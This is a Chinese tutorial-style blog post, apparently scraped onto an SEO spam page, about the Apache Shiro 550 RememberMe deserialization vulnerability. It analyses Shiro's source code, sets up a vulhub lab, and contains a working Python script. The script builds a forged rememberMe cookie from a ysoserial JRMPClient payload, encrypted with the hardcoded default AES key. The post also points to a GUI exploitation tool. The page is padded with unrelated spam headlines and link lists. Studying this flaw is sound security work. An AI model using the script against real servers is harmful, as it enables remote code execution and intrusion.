当前位置: 首页 > news >正文

现在网站用什么语言做最好微信小程序登录流程

现在网站用什么语言做最好,微信小程序登录流程,高端网站搭建公司,安徽和城乡建设厅网站//发点去年存货 前言 apache shiro是一个java安全框架,作用是提供身份验证,Apache Shiro框架提供了一个Rememberme的功能,存储在cookie里面的Key里面,攻击者可以使用Shiro的默认密钥构造恶意序列化对象进行编码来伪造用户的 Cookie&#xf…

//发点去年存货

前言

apache shiro是一个java安全框架,作用是提供身份验证,Apache Shiro框架提供了一个Rememberme的功能,存储在cookie里面的Key里面,攻击者可以使用Shiro的默认密钥构造恶意序列化对象进行编码来伪造用户的 Cookie,服务端反序列化时触发漏洞,从而执行命令。
影响版本如下:

Apache shiro <= 1.2.4

下面我们展开来讲讲该漏洞是如何利用的。

利用

在服务器接受带有shiro框架的服务请求时,cookie会经过以下几个步骤:

1.服务器会先检索RememberMe cookie的值
2.之后进行base64解码
3.接着使用aes解码
4.最后进行反序列化操作

其中AES加密cookie的值时利用的是加密密钥硬编码,也就是说有一定几率的可以进行破解,因此可能存在伪造cookie来进行恶意反序列化的攻击。
下面我们具体分析一下,先看org/apache/shiro/mgt/DefaultSecurityManager.java:
里面有一个方法叫getRememberedSerializedIdentity ,简单看一下就是:
在这里插入图片描述可以看到里面获取了请求的cookie值再进行了base64编码,于是我们接着看谁调用了它,于是找到了getRememberedPrincipals

在这里插入图片描述将解码后信息放进了一个数组里,然后使用了这个名为convertbytestoprincipals方法去处理,继续跟进了,发现该方法对信息进行了decrypt解密,继续跟进一下:

protected byte[] decrypt(byte[] encrypted) {byte[] serialized = encrypted;CipherService cipherService = getCipherService();if (cipherService != null) {ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());serialized = byteSource.getBytes();}return serialized;
}

可以看到这是一个获取加密再进行解密的过程,我们跟进getDecryptionCipherKey() ,根据返回值一直跟进到setCipherKey ,发现:

setCipherKey(DEFAULT_CIPHER_KEY_BYTES);

我们找到了这个固定的加密的key:

在这里插入图片描述那我们如何进行反序列化呢,这里需要回到convertbytestoprincipals:

在这里插入图片描述跟进deserialize,发现了两个实现方法,而且都是调用的原生readobject:

在这里插入图片描述

实例

这里以一个例题为例,我们先搭建个靶机:

cd /vulhub/shiro/CVE-2016-4437
docker-compose up -d

进入靶机的页面就是一个带有记住功能的登陆页面:

在这里插入图片描述抓包后改cookie值发现返回了以下数据,rememberme=deleteme,也就说明可能存在漏洞:

在这里插入图片描述这里贴一个基于YSOSERIAL反序列化工具的python脚本:

# -*- coding: utf-8 -*-
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") # 替换密钥iv = uuid.uuid4().bytesencryptor = AES.new(key, AES.MODE_CBC, iv)file_body = pad(popen.stdout.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertext
if __name__ == '__main__':payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())

生成后替换cookie即可,当然也有图形化页面的攻击方法:

项目地址:https://github.com/feihong-cs/ShiroExploit-Deprecated

页面如下,输入要检测的ip地址设置攻击方法即可,非常方便:

在这里插入图片描述选择检测方式后会进行检测,如果出现find valid gadget就说明可以利用,我们就可以从工具上输入我们要执行的漏洞了。

结语

简单带大家总结了一下shiro550反序列化漏洞,不知道大家学习的怎么样了,简单来看shiro框架命令执行的的执行流程可以简单概括为:命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值,我们根据上面源码的分析以及它硬编码的特性,便可以进行攻击,当然这只是最简单的利用,我们也可以结合其他利用链来构造攻击链接,有兴趣的小伙伴可以自己去尝试一下。

http://www.yayakq.cn/news/939593/

相关文章:

  • 营销型网站的布局建设银行安徽 招聘网站
  • 网站管理员密码忘记了怎么办婚恋网站开发平台代理招商
  • sap.net怎么做网站网络运维工程师周报
  • 做淘宝客网站需要多大带宽阳江网站网站建设
  • 阿里巴巴国际站做2个网站有用吗怎么做转载小说网站
  • 银川网站建设郑州腾讯网站建设
  • 网站资讯如何做网页版梦幻西游飞升攻略
  • 敦煌壁画网站开发毕设论文新建网站做优化
  • 深圳企业网站制作哪家好新动力网站建设公司
  • 电商网站建设免费自己做的网站算广告吗
  • 湖北省住房城乡建设厅网站查南昌启航科技
  • 网站建设华企云商微信运营者和管理员的区别
  • ppt模板免费的网站泰安网站制作电话
  • 潮州住房和城乡建设局网站wordpress 4.8.5 漏洞
  • 网站推广优化怎样一元购网站的建设
  • 广西执业药师培训网站佛山模板网站建设
  • 网站怎么提升实用性网页布局的设计原则
  • 网站建设使用的基本技术动力无限做网站怎样
  • 有关网站建设国内外现状的文献wordpress 如何登录地址
  • 网站开发公司加盟公司概况介绍怎么写
  • 中企动力的网站如何国外域名 网站备案
  • 一站式采购平台官网成品图片的网站在哪里找
  • 织梦技术个人网站模板下载qq浏览器在线
  • 一个人做网站用什么技术查网站域名备案查询系统
  • 好看网站手机版化隆网站建设公司
  • 信德 网站建设做网站费用分摊入什么科目
  • 网络推广SEO优化网站建设桂林互联网企业
  • 中国114黄页网站宣传广告wordpress 仿百度百家
  • 手机医疗网站模板个人主页英语
  • 自动做reference的网站苏州网站开发建设制作